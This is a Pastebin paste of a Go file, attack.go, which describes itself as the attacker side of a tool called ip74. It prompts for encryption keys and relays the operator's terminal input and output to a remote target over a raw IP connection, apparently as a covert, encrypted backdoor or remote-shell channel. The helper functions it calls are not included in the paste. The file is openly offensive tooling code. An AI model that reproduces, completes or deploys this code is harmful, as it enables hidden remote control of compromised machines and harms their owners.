Advertisement
FlyFar

attack.go

Jan 20th, 2024
1,046
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 1.14 KB | Cybersecurity | 0 0
  1. package main
  2.  
  3. /*
  4.  * attack.go
  5.  * Attacker side of ip74
  6.  * By J. Stuart McMurray
  7.  * Created 2016022
  8.  * Last Modified 2016022
  9.  */
  10.  
  11. import (
  12.     "bufio"
  13.     "fmt"
  14.     "io"
  15.     "log"
  16.     "net"
  17.     "os"
  18. )
  19.  
  20. /* attack proxies stdio to the remote end connected to c. */
  21. func attack(c *net.IPConn) {
  22.     /* Get attack keys */
  23.     skey, rkey := readAttackKeys()
  24.  
  25.     log.Printf("Ready to attack! %v <-> %v", c.LocalAddr(), c.RemoteAddr())
  26.  
  27.     /* Read data from stdin, pass to target */
  28.     ec := make(chan error)
  29.     go send(c, os.Stdin, skey, ec)
  30.     go recv(os.Stdout, c, rkey, ec)
  31.  
  32.     /* Wait for something to go wrong */
  33.     err := <-ec
  34.     if nil == err || io.EOF == err {
  35.         return
  36.     }
  37.     log.Fatalf("Error: %v", err)
  38. }
  39.  
  40. /* readAttackKeys prompts for and reads keys from stdin.  It will exit the
  41. program with a call to log.Fatalf if the keys cannot be read or if either of
  42. the keys is the wrong length. */
  43. func readAttackKeys() (send, recv [KEYLEN]byte) {
  44.     r := bufio.NewReader(os.Stdin)
  45.     /* Get send key */
  46.     fmt.Fprintf(os.Stderr, "32-byte send (encryption) key: ")
  47.     send = getKey(r)
  48.     fmt.Fprintf(os.Stderr, "32-byte receive (decryption) key: ")
  49.     recv = getKey(r)
  50.  
  51.     return
  52. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement